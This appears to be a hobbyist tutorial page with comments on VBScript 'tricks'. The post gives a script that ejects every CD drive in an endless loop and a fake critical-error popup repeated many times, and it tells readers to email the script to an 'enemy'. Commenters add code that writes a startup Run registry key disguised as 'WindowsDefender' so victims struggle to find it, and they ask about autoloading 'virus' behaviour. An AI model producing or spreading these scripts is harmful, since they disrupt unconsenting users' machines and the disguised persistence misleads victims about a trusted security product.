Visual Basic Scripting Tricks (2)

Introduction: Visual Basic Scripting Tricks (2)

visual basic scripting is scripting that has the potential to do any physical function that a computer has. i shall be showing two tricks of vbs

vbs files by the way, are saved as w/e.vbs (in the sense of w/e meaning whatever you want, not literally w/e). they similar to batch files, just different functions

Step 1: Continous Disk Opener

this will be a continuous disk opener, open notepad and write:
do

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
End If

loop

save as w/e.vbs. send as an email attachment, and laugh at your enemy hahaha

Step 2: ERROR!!!

To make it appear as error, error, error, write the following:

lol = msgbox ("Critical error!" ,16, "ERROR")

(copy and paste 100 times, save as a .vbs file)

Step 3: Conclusion

well, that's all i know about vb scripting, if you hav any suggestion, please tell me and i shall change it

Be the First to Share

    Recommendations

    • Battery Powered Contest

      Battery Powered Contest
    • Plywood Challenge

      Plywood Challenge
    • Plastic Contest

      Plastic Contest

    18 Discussions

    0
    Awal4real
    Awal4real

    8 years ago on Introduction

    any script to copy the file to the start up folder automatically?

    0
    stealth4
    stealth4

    11 years ago on Step 1

    lol i love the disc one, does it stop if you delete the file or restart the pc? idont know much about vb

    0
    maxoomen
    maxoomen

    Reply 10 years ago on Step 1

     it stops when you restart :)

    0
    michaelb958
    michaelb958

    Reply 10 years ago on Introduction

    Or kill the wscript process, using Task Manager or a shortcut to taskkill.exe.

    0
    UBERBANKAI
    UBERBANKAI

    10 years ago on Step 2

    You could just type

    do
    lol=msgbox("Critical Error",16,"ERROR")
    loop

    for a continuous error message

    0
    n1cod3mus
    n1cod3mus

    10 years ago on Step 3

    Dim moo1
    Set WshShell = WScript.CreateObject("WScript.Shell")
    moo1=Wscript.ScriptFullName

    'WshShell. RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender", moo1, "REG_SZ"
    ---------------

    adds it to the registry for start up

    0
    kei10
    kei10

    10 years ago on Step 1

    Yes it stops, but you can put this in Startup folder next logon the file itself will be executed.

    0
    n1cod3mus
    n1cod3mus

    Reply 10 years ago on Step 1

    Dim moo1
    Set WshShell = WScript.CreateObject("WScript.Shell")
    moo1=Wscript.ScriptFullName

    WshShell. RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender", moo1, "REG_SZ"
    ----------------------------------

    the above code will automatically add this to the registry for startup, most non techie people would find it mega hard to find it, plus i named the key WindowsDefender so its unlikly it will get picked up quickly as a false registry entry

    0
    GeekBeam
    GeekBeam

    10 years ago on Step 3

    lol i had to hold dowwn the power button to make it stop

    0
    zetsway
    zetsway

    11 years ago on Introduction

    I ran the script on my own PC. I couldn't stop laughing :)

    0
    Colonel88
    Colonel88

    Reply 11 years ago on Introduction

    Oy, you kin make something more useful, like a web browser, or a autoloading virus thingy. This is a BIT simple, but nice job.

    0
    BatchMan
    BatchMan

    11 years ago on Introduction

    will this work:

    sub pwn()
    lol = msgbox ("Critical error!" ,16, "ERROR")
    pwn()
    end sub
    pwn()

    0
    computerfaker3

    add "Do" to the top and "Loop" to the bottom, it will keep repeating until you shut down your computer or go to task manager - processes - and end proccess "wscript.exe"